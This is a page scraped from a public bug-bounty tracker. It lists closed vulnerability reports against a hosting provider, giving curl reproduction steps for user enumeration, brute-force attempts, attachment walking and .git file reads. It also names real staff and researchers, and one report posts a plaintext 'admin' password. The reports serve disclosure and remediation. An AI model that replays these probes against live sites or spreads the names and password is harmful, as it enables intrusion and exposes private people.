<account>@%    11.4.12-MariaDB
information_schema
<account>_qz

Step 4 (optional) — Confirms the gate is real, not a transient UI state. DELETE /v1/database/<id>/ returns 204. Reloading GET /database/add/ again returns the "Feature unavailable" page, so the account genuinely lacks the entitlement; only the API fails to enforce it.

Reproduced multiple times. The same bypass also works for "type":"POSTGRESQL" (also plan-gated), so it is not engine-specific. My API token is omitted from this public report and can be provided privately if needed.

Impact

A customer whose plan does not include the Databases feature can create and use functional MySQL/MariaDB and PostgreSQL databases through the API, obtaining a resource their plan does not permit. The entitlement check is missing on the server side (API) and enforced only in the UI, allowing the restriction to be bypassed programmatically.

Remediation

Enforce the account's feature entitlements server-side on the API resource-create endpoints (POST /v1/database/ and any other plan-gated resource), returning the same "feature not available for this account" rejection that the UI applies.

 92  A password reset page does not properly validate the au ...Closed04.11.2024 Task Description

A password reset page does not properly validate the authenticity token at the server side.

1. Go to https://admin.alwaysdata.com/password/lost/ and request a new password.
2. Go to email, and click on the link.
3. Put the new password, submit and intercept the request; remove the authenticity token from the request and now forward it to the server.
you will see request still got completed, its shows token invalid in the browser but you can refresh the page and you see that user is logged in with new password.

Thanks,

Waleed Anwar

 477  Anonymous user enumeration with full real names and com ...Closed11.09.2026 Task Description

Asset: https://security.alwaysdata.com/?do=user&id=<user_id>
Class precedent:  FS#426  (Internal staff account and privilege hierarchy disclosure, closed as accepted) - same data class, different and currently live path
Class: CWE-200 exposure of information / CWE-639 authorization bypass on user profiles
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3, Medium)
Observed: 11 September 2026, unauthenticated, reproduced across dozens of user IDs

Summary

The profile page of every tracker account is rendered to anonymous visitors, addressable both as ?do=user&id=<sequential> and /user/<sequential>, and it discloses each account's global permission group (Admin or Reporters) alongside the real name, activity counters and registration date. User IDs are sequential and the existing/missing distinction is visible in the response, so the entire user table can be enumerated in one pass.

Applied to your own team this yields the complete privilege hierarchy of the security program: every Admin account among the staff (seven of them across IDs 1-25) is distinguishable from every external reporter account by one request per ID. Your  FS#426  established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset when it leaked through system files; the same hierarchy is available today over plain HTTP through the profile renderer.

Two honest scope notes. First, usernames and, for users who interacted with tasks, even real names already appear on task pages in link title attributes (for example title="Matthias" on a task 38 comment link); what the profiles add is the group flag and the complete-population walk. Second, I did not download anything beyond the profile pages themselves; no login was attempted.

Reproduction

Plain curl, no cookies, no authentication.

Step 1. A staff profile renders with real name and privilege group.

  $ curl -s "https://security.alwaysdata.com/?do=user&id=1"
  Profile: Cyril (cbay) Real Name Cyril Global Group Admin Project Group None Tasks opened 0 Assigned To 330 Comments 438 Registered since 09.01.2024

Step 2. Sequential IDs enumerate the full population. Results for IDs 1-25 (unmodified page text):

  id=1  Cyril (cbay)                 Global Group Admin
  id=2  Nicolas (nferrari)           Global Group Admin
  id=3  Xavier (xlefloch)            Global Group Admin
  id=4  Heloise (hdegorce)           Global Group Admin
  id=5  Matthias (mdugue)            Global Group Admin
  id=6  Brijesh (Redhet)             Global Group Reporters
  id=8  Abdelrahman Ibrahim (Abdelrahman)  Global Group Reporters
  id=9  prakash (grycolor)           Global Group Reporters
  id=10 S.Lakshmi Vignesh (weshi)    Global Group Reporters
  id=11 Devansh (Devansh811)         Global Group Reporters
  id=12 basil (basil)                Global Group Reporters
  id=13 Akhil C (Bad_Script3r)       Global Group Reporters
  id=14 Aditya (Aditya2003)          Global Group Reporters
  id=15 Neel Shukla (neelshukla0409) Global Group Reporters
  id=16 Mustafa Hassan (monty099)    Global Group Reporters
  id=22 Francois Nonnenmacher (fnonnenmacher)  Global Group Admin
  id=23 Tom Gabriele (tgabriele)     Global Group Admin
  (accents reproduced as-is in the live pages; IDs 7 and others in the range are inactive accounts that redirect to the homepage)
  The walk was extended to ID 60 to complete the population: the Admin group totals eight accounts across IDs 1-29 (cbay, nferrari, xlefloch, hdegorce, mdugue, fnonnenmacher, tgabriele, ngeoffroy), and the Reporter cohort continues with three dozen real-named accounts. One account (id=35) stores a raw HTML/template-injection probe in its real_name field (<a href="//bf.am">click</a> ${{7*7}}, planted in April 2024); the profile page renders it fully escaped, which documents both that the field is attacker-controllable and that the escaping on this page holds.

Step 3. Username lookup works the same way:

  $ curl -s "https://security.alwaysdata.com/?do=user&user_name=fnonnenmacher"
  Profile: Francois Nonnenmacher (fnonnenmacher) Real Name Francois Nonnenmacher Global Group Admin ...

What this discloses

1. The complete staff privilege hierarchy: which of your tracker accounts hold the Admin group. Seven Admin accounts across the enumerated range, including accounts whose group membership was not previously public knowledge.
2. The full user population with real names, one request per sequential ID: staff and every external researcher who ever registered, in ID order. Some real names also appear in title attributes on task pages, but the profile walk collects the whole population, including accounts that never touched a public task.
3. Activity profiles: how many tasks each account opened, was assigned, commented on, and when they registered. For staff accounts this maps involvement per report.
4. A user-table oracle: existing IDs render a profile, non-existent ones redirect to the homepage, so the exact boundary of the user table is measurable.

Why I consider this reportable and not the platform working as intended

 FS#426  established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset, and  FS#440  extended it when the same data reached the public internet. That leak was fixed at the file level; the profile renderer discloses the same hierarchy - which accounts hold Admin - over HTTP today, together with a complete population walk. Whatever the intended audience of a profile page is, an anonymous ten-line loop producing the full admin roster of your security team is not it.

Suggested fix

1. Require authentication for profile pages, or restrict what an anonymous request renders: drop the Global Group field and real name for anonymous viewers at minimum.
2. Deployment-level option available immediately: the webserver vhost can deny /user/ and ?do=user for anonymous visitors in one rule - this is a hosting-configuration decision independent of the Flyspray application, which currently offers no built-in toggle for profile visibility.
3. Stop sequential-ID addressing for profiles (route by an unguessable per-user token) if profiles must stay public.
4. Review which group memberships should be visible at all; the Admin/Reporters split of your security team is the operationally valuable part of this disclosure.

 336  [ALW-015] Flyspray CSRF Token is a Plain Integer with L ...Closed11.05.2026 Task Description

Severity: LOW

Target: security.alwaysdata.com
Affected element: `<input type="hidden" name="csrftoken" value="…">` on every form (registration, task creation, comments, edits)

## Description

Flyspray emits its CSRF token as a plain decimal integer of around 9–10 digits, giving roughly `log2(10^10) ≈ 33` bits of entropy. That is dramatically weaker than the 256-bit cryptographic token Django emits on `admin.alwaysdata.com` for the same protection class, and it is potentially predictable depending on how the token is seeded.

## Steps to Reproduce

```
curl -s https://security.alwaysdata.com/register \

| grep -oE 'name="csrftoken" value="[0-9]+"'

# → name="csrftoken" value="852018639"

# Compare with Django on admin.alwaysdata.com (any form):
# csrfmiddlewaretoken=qzNI2DZ0UfLVc7VRvdUw… # (64 random characters, cryptographic)
```

## Impact

* Brute-forcing a 10-digit integer over the network is well within reach of a determined attacker (10¹⁰ ≈ a few weeks at conservative request rates with no rate limiting — see ALW-007).
* If the integer is derived from a predictable seed (PHP `mt_rand` without proper seeding, timestamp, etc.) the search space collapses further.
* Combined with ALW-009 (no `SameSite` on the session cookie) the CSRF defense layer becomes paper-thin: a malicious page can both replay the cookie and guess the token in feasible time.

## Remediation

* Replace the token generator with a cryptographically random string. In PHP: `bin2hex(random_bytes(32))` (256 bits, 64 hex characters).
* Use a per-session token, rotated on login and on privilege change, not a long-lived global one.
* Validate the token in constant time (`hash_equals`) to avoid timing leaks.
* For Flyspray 1.0-rc11 specifically, patch `make_csrf_token()` in `includes/class.flyspray.php` to call `bin2hex(random_bytes(32))`.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

 335  [ALW-011] Flyspray Attachments Downloadable via Sequent ...Closed11.05.2026 Task Description

Severity: MEDIUM

Target: security.alwaysdata.com
Affected endpoint: `GET https://security.alwaysdata.com/index.php?getfile={id}`

## Description

Flyspray attachments — i.e. proof-of-concept files researchers attach to security reports — are downloadable by anyone with a sequential integer ID and no authentication. The four currently-live attachments (IDs 1–4) returned 200 OK with the underlying PoC PDFs and PNGs without any session cookie. IDs 5–11 returned 410 Gone (deleted), which also leaks prior-existence.

## Steps to Reproduce

```
for i in 1 2 3 4 5 6 7 8 9 10 11; do

printf 'id=%-2s  ' "$i"
curl -sI "https://security.alwaysdata.com/index.php?getfile=$i" \
  | grep -E '^(HTTP|content-type|content-length):' \
  | tr '\n' ' '
echo

done
# id=1 HTTP/1.1 200 OK content-type: application/pdf content-length: 115873
# id=2 HTTP/1.1 200 OK content-type: application/pdf content-length: 164813
# id=3 HTTP/1.1 200 OK content-type: image/png content-length: 39503
# id=4 HTTP/1.1 200 OK content-type: image/png content-length: 141632
# id=5..11 HTTP/1.1 410 Gone
```

No session cookie was sent. The response body contains the original PoC file in full.

## Impact

* Any unredacted PoC, screenshot, or credential a previous researcher attached is publicly readable just by walking the integer counter.
* Even when the parent task is later restricted or redacted in the UI, the raw attachment stays exposed at the same `?getfile=ID` URL.
* The 410-vs-200 differential also leaks the existence of every deleted attachment, which can be used to bound the total volume of historical PoCs.

## Remediation

* Require an authenticated session and a project-membership / task-visibility check before serving `getfile`.
* Replace the integer ID with a non-guessable token (UUIDv4 or HMAC-signed hash bound to the user + task).
* Return HTTP 404 (not 410) for deleted attachments to avoid confirming prior existence.
* Audit the four currently-public attachments (IDs 1–4) and re-issue them under restricted URLs if they contain unredacted PoC material.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, downloads not redistributed.

 334  [ALW-010] Flyspray CSP Allows unsafe-inline and unsafe- ...Closed11.05.2026 Task Description

Severity: MEDIUM

Target: security.alwaysdata.com
Affected response header: `Content-Security-Policy`

## Description

The Content-Security-Policy returned by every Flyspray response on `security.alwaysdata.com` includes both `'unsafe-inline'` and `'unsafe-eval'` in `script-src`. With both directives in place, CSP provides effectively zero mitigation against XSS — any future injection sink (task title, comment, custom field) executes immediately.

## Steps to Reproduce

```
curl -sI https://security.alwaysdata.com/ | grep -i content-security-policy
# → content-security-policy: default-src 'none'; img-src 'self'; font-src 'self';
# style-src 'self' 'unsafe-inline';
# script-src 'self' 'unsafe-inline' 'unsafe-eval'; ← weak
# connect-src 'self'
```

## Impact

* Any future XSS in Flyspray (task description, comment body, attachment filename, custom field) executes despite CSP.
* `'unsafe-eval'` allows `eval()`, `new Function(string)`, `setTimeout(string, …)`, and `setInterval(string, …)` payloads — enabling attacker-controlled string execution.
* Especially impactful given the bundled libraries (Prototype.js 1.7, script.aculo.us 1.9.0) which are old enough to have known XSS sinks.

## Remediation

* Remove `'unsafe-inline'` from `script-src` and replace with a per-response nonce (`script-src 'self' 'nonce-XYZ'`); add the same nonce to every server-rendered `<script>` tag.
* Remove `'unsafe-eval'` after refactoring any `eval(string)` / `new Function(string)` / `setTimeout(string, …)` / `setInterval(string, …)` call sites in the bundled JS (Prototype/scriptaculous).
* Ideally also tighten `style-src` away from `'unsafe-inline'` once template inline styles are migrated to a stylesheet.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

 333  [ALW-009] Flyspray Session Cookie Missing Secure and Sa ...Closed11.05.2026 Task Description

Severity: MEDIUM

Target: security.alwaysdata.com
Affected response header: `Set-Cookie` on every authenticated response

## Description

The Flyspray session cookie is set with `HttpOnly` only — both the `Secure` flag and the `SameSite` attribute are missing. This is a measurable regression compared to alwaysdata's Django stack on `admin.alwaysdata.com`, which correctly sets `Secure; SameSite=Lax` on its session cookie.

## Steps to Reproduce

```
curl -sI https://security.alwaysdata.com/ | grep -i set-cookie
# → Set-Cookie: flyspray=<sessionid>; path=/; HttpOnly
# (no Secure, no SameSite)

# Compare admin.alwaysdata.com (correct):
curl -sI https://admin.alwaysdata.com/ | grep -i set-cookie
# → Set-Cookie: csrftoken=…; Path=/; SameSite=Lax; Secure
```

## Impact

* The session cookie will be transmitted in plaintext if the user is ever forced onto an HTTP origin (downgrade / hostile coffee-shop network / user typing the domain without https).
* Without `SameSite`, third-party sites can include this domain via top-level navigation or cross-site POST and the cookie is attached, removing CSRF defense-in-depth.
* On a subdomain that hosts user-supplied attachments (see ALW-011), the missing `SameSite` is meaningful.

## Remediation

In Flyspray's session configuration set both flags:

```
# php.ini or .htaccess
session.cookie_secure = 1
session.cookie_samesite = "Lax"
session.cookie_httponly = 1
```

Final header should look like:

```
Set-Cookie: flyspray=<sessionid>; path=/; HttpOnly; Secure; SameSite=Lax
```

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

 332  [ALW-007] Flyspray Login Endpoint Has No Rate Limiting  ...Closed11.05.2026 Task Description

Severity: MEDIUM

Target: security.alwaysdata.com
Affected endpoint: `POST https://security.alwaysdata.com/index.php?do=authenticate`

## Description

The Flyspray login endpoint at `security.alwaysdata.com` does not implement any form of brute-force protection: no progressive delay, no per-IP throttling, no per-account lockout, and no CAPTCHA after repeated failures. Because this is the same Flyspray instance that hosts every researcher's confidential bug-bounty submissions, brute-forcing an analyst account is a direct path to compromising the entire program intake.

## Steps to Reproduce

```
# Five consecutive bad-password attempts against a known-existing username
for i in 1 2 3 4 5; do

curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST 'https://security.alwaysdata.com/index.php?do=authenticate' \
  -d 'user_name=admin&password=wrong'

done
# → 303
# → 303
# → 303
# → 303
# → 303
```

No lockout, no CAPTCHA, no slowdown. (Stopped at 5 to comply with the program's "do not damage production" rule.) Combined with ALW-006 /  FS#329  (already-known username enumeration via `searchnames.php`), an attacker has a complete brute-force pipeline.

## Impact

* Brute-force attacks against analyst, admin, and researcher accounts are feasible from a single source.
* Compromise of an analyst account would expose every researcher's unredacted submission and PoC attachments — the most damaging possible outcome on this asset.
* Increases the impact of ALW-009 (insecure cookie) and ALW-015 (weak CSRF token) by enabling pre-conditions for full account takeover.

## Remediation

* Add progressive delay after 3 failed attempts (e.g. exponential backoff up to 60 s).
* Show a CAPTCHA after 5 failed attempts (per IP and per username).
* Lock the target account (or send an admin alert) after 10 failed attempts in a short window.
* Deploy fail2ban with a jail tailing the Flyspray auth log to ban IPs at the firewall after sustained abuse.
* Consider upgrading from Flyspray 1.0-rc11 to a version with built-in rate-limiting hooks.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, capped at 5 attempts.

 331  [ALW-005] Password-Reset Differential Response Enables  ...Closed11.05.2026 Task Description

Severity: MEDIUM

Target: admin.alwaysdata.com
Affected endpoint: `POST https://admin.alwaysdata.com/password/lost/`

## Description

The password-reset endpoint returns a different HTTP status (and different body) depending on whether the submitted email belongs to a real account, allowing unauthenticated enumeration of valid alwaysdata user emails.

## Steps to Reproduce

```
# Existing account — redirected to the success page
curl -i -X POST https://admin.alwaysdata.com/password/lost/ \

  1. H 'Content-Type: application/x-www-form-urlencoded' \
  2. -data 'email=cbay@alwaysdata.com'

# → HTTP/1.1 302 Found
# → Location: /password/sent/

# Non-existent account — form re-rendered with no redirect
curl -i -X POST https://admin.alwaysdata.com/password/lost/ \

  1. H 'Content-Type: application/x-www-form-urlencoded' \
  2. -data 'email=nonexistent9999@example.com'

# → HTTP/1.1 200 OK
# → (form HTML re-rendered, no redirect)
```

The 302→/password/sent/ vs 200 differential is observable from a single unauthenticated request and was not rate-limited during testing.

## Impact

* Confirms whether an arbitrary email address has an alwaysdata account.
* Enables targeted phishing and credential-stuffing campaigns against confirmed-real customer accounts.
* Combined with ALW-007 (no rate-limiting on the related Flyspray login) and ALW-006 /  FS#329  (Flyspray username enumeration), feeds a chain ending in account-takeover attempts.

## Remediation

* Always return the same response (302 → `/password/sent/` with a generic "if an account exists with that email, a reset link has been sent" page) regardless of whether the email matched.
* Rate-limit the endpoint per source IP and per email (e.g. 5 requests / hour / address).
* Add CAPTCHA after 3 failed attempts.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

 330  [ALW-003] Registration Token Still Leaks to Matomo — In ...Closed11.05.2026 Task Description

Severity: HIGH

Target: admin.alwaysdata.com (registration flow → outbound to tracker.alwaysdata.com)

## Description

The original  FS#311  fix was supposed to strip the registration token from URLs sent to Matomo. The current implementation still forwards token-derived parameters (`user_id`, `expires`) in the analytics request, so the Matomo back-end (and anyone with read-access to the dashboard) can still correlate a token-holder to their account-creation event.

## Steps to Reproduce

1. Open browser devtools (Network tab) and visit https://admin.alwaysdata.com/account/create/ 2. Complete the registration flow up to the point where the confirmation token is shown in the URL.
3. Filter the Network panel by `tracker.alwaysdata.com`.
4. Inspect the outbound `/matomo.php` (or `/piwik.php`) tracking request — `url=` / `urlref=` / `action_name` still contain `user_id=` and `expires=` values bound to the registration token, even though the bare token string itself was redacted by the  FS#311  patch.

## Impact

* The mitigation for  FS#311  is incomplete — the parameters that uniquely identify the registration token are still observable to Matomo.
* Anyone with Matomo read-access can correlate a tracking event to a specific account-creation flow.
* Defeats the trust assumption that registration data does not leave alwaysdata's auth boundary.

## Remediation

Before calling `piwik.trackPageView()` on the registration page, normalise the URL passed to Matomo — strip the entire querystring/hash:

```js
piwik.setCustomUrl(window.location.origin + window.location.pathname);
piwik.setReferrerUrl('');
```

Verify with a manual reproduction that no `user_id`, `expires`, or other token-derived parameter reaches `tracker.alwaysdata.com`.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.
Related:  FS#311  (partial fix).

 337  [ALW-001] Flyspray .git Directory Fully Exposed on secu ...Closed11.05.2026 Task Description

Severity: HIGH

Target: security.alwaysdata.com
Affected URL: https://security.alwaysdata.com/.git/

## Description

The deployed Flyspray instance (this very bug-tracker) exposes its entire `.git` directory under the document root. The directory listing is disabled, but the well-known internal files are individually readable, which is enough to reconstruct the full source tree, every commit message, every author email, and every credential ever committed to the repository. (Title shortened from "…Source Tree, Admin Email, Commit History" — the original 117-char summary exceeded the 100-char column limit and triggered an INSERT error.)

## Steps to Reproduce (manual, no scanner)

```
curl -s https://security.alwaysdata.com/.git/HEAD curl -s https://security.alwaysdata.com/.git/config curl -s https://security.alwaysdata.com/.git/logs/HEAD curl -s https://security.alwaysdata.com/.git/index -o /tmp/index ; file /tmp/index
```

`HEAD` returns the current branch ref, `config` returns the repository configuration, and `logs/HEAD` returns the full reflog including author names and emails. From there, `git clone` against the exposed directory or a manual `git-cat-file` walk reconstructs ~941 reachable objects and the complete deployed source code (including any locally-applied patches).

## Impact

* Full source-code disclosure of the production Flyspray that hosts the bug-bounty program itself.
* Disclosure of admin / committer email addresses and real names from commit metadata.
* Any secret accidentally committed (DB credentials, API tokens, signing keys) is recoverable from history even if removed from `HEAD`.
* Combined with ALW-007 (no rate-limiting on the Flyspray login) and ALW-015 (weak integer CSRF), this gives an attacker a precise roadmap to compromise the bug-bounty intake and read every other researcher's unredacted submissions.

## Remediation

Block the directory at the web server level, e.g. for Apache:

```
<DirectoryMatch "/\.git">

  Require all denied

</DirectoryMatch>
```

or for nginx:

```
location ~ /\.git { deny all; return 404; }
```

Then remove the `.git` directory from the document root entirely and deploy via a build artifact or `git archive` rather than a working copy.

— Reported by: Ahmed Said (asame8855@gmail.com)
Tested manually per program rules — no automated scanners used.

 297  admin show  Closed12.02.2026 Task Description

admin = mysuperpassword

 101  Action Required – credentials for alwaysdata.com Expose ...Closed18.11.2024 Task Description

Target:alwaysdata.com

Vulnerability Type:Sensitive Credential Exposure

Severity:CRITICAL

Overview:During an OSINT investigation using a custom tool designed to collect data from dark web forums, I identified exposed credentials of users from alwaysdata.com were leaked This poses a significant security risk to the organization. Attached is the txt file with the credentials I found.

Remediation:
Reset all compromised user passwords immediately
Enforce multi-factor authentication
Monitor for signs of account compromise and unauthorized access
Notify impacted users to update credentials

Impact:
Mass account takeovers by attackers
Breach of personal data and intellectual property
Financial fraud and illegal activities using compromised accounts
Potential lateral network compromiseBrand damage, legal liabilities, regulatory violations

Poc :

https://drive.google.com/drive/folders/1Ox0JvlCLy--RDErIj7y9GzGLwoAY7PQL?usp=sharing

 407  A Content Security Policy (CSP) bypass  Closed15.07.2026
 321  ACME HTTP-01 Challenge Poisoning via Shared .well-known ...Closed27.04.2026
 179  Account takeover via no rate limit on login endpoint at ...Closed09.06.2025
 296  Account Takeover via Improper OAuth Lifecycle Managemen ...Closed26.02.2026
 190  account takeover via data leak Closed04.07.2025
 278   Account Deletion Without Proper Authorization – Always ...Closed02.01.2026
 169  Account creation with invalid email addresses / email i ...Closed06.05.2025
 306  Account creation with invalid email addresses / email i ...Closed16.03.2026
 338   2FA Secret Permanently Exposed in Profile Page HTML Af ...Closed03.06.2026
 300  2FA Misconfig:Expired and Previously Used 2FA OTP Can B ...Closed24.02.2026
 150  2FA is not Initiating on User Account  Closed05.04.2025
 259  2FA Bypass via Parallel Request Replay (Multiple Valid  ...Closed08.12.2025
 171  2FA Bypass via Leaked Cookies Closed13.05.2025
 312  25 JavaScript Source Maps Publicly Accessible - 410K+ C ...Closed23.03.2026
 26  #1 Crititical Vulnerability Name: No Rate Limit in addi ...Closed06.02.2024
Showing tasks 351 - 390 of 390 Page 8 of 8

Available keyboard shortcuts

Tasklist

Task Details

Task Editing